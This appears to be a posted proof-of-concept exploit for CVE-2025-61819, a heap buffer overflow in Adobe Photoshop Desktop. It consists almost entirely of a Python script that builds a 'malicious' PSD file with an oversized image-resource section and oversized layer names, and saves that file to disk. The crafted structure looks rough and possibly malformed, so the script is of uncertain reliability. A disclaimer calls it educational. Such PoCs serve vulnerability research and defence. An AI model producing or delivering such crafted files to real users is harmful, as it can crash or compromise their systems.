CVE-2025-61819 Adobe Photoshop Desktop 堆缓冲区溢出漏洞

# CVE-2025-61819 PoC - Adobe Photoshop Heap Buffer Overflow # Generate malicious PSD file to trigger heap overflow # This PoC demonstrates the vulnerability concept import struct import os def create_malicious_psd(): """ Create a malicious PSD file that triggers heap buffer overflow in Adobe Photoshop Desktop <= 26.8.1 """ # PSD file signature signature = b'8BPS' # Version: 1 (PSD) or 2 (PDD) version = struct.pack('>H', 1) # Reserved bytes (6 bytes) reserved = b'\x00' * 6 # Number of channels (1-56) channels = struct.pack('>H', 3) # Image height height = struct.pack('>I', 0x1000) # Image width width = struct.pack('>I', 0x1000) # Depth (bits per channel) depth = struct.pack('>H', 8) # Color mode (0 = Bitmap, 1 = Grayscale, etc.) color_mode = struct.pack('>H', 3) # Color mode data section with oversized data to trigger overflow color_mode_data = b'\x00' * 4 # Image resources section - crafted to trigger overflow # Using long layer name or oversized resource data image_resources = create_oversized_resource() # Layer and mask data section layer_mask = create_malicious_layer_data() # Composite image data image_data = create_composite_data() # Assemble PSD file psd = signature + version + reserved + channels + height + width + depth + color_mode psd += struct.pack('>I', len(color_mode_data)) + color_mode_data psd += struct.pack('>I', len(image_resources)) + image_resources psd += struct.pack('>I', len(layer_mask)) + layer_mask psd += image_data return psd def create_oversized_resource(): """Create oversized image resource to trigger buffer overflow""" resource_data = b'A' * 0x10000 # Oversized data return resource_data def create_malicious_layer_data(): """Create malicious layer data with oversized layer names""" # Layer name exceeding expected buffer size malicious_name = b'\x00' + b'B' * 0x1000 + b'\x00' layer_data = struct.pack('>I', len(malicious_name)) + malicious_name return layer_data def create_composite_data(): """Create composite image data section""" # Compression method: 0 = Raw, 1 = RLE, etc. compression = struct.pack('>H', 0) # Image data image_data = b'\x00' * 256 return compression + image_data # Generate and save the malicious PSD file if __name__ == '__main__': print('[+] Generating CVE-2025-61819 PoC for Adobe Photoshop') malicious_psd = create_malicious_psd() output_file = 'CVE-2025-61819_malicious.psd' with open(output_file, 'wb') as f: f.write(malicious_psd) print(f'[+] Malicious PSD file created: {output_file}') print(f'[+] File size: {len(malicious_psd)} bytes') print('[!] This PoC is for educational and security research purposes only')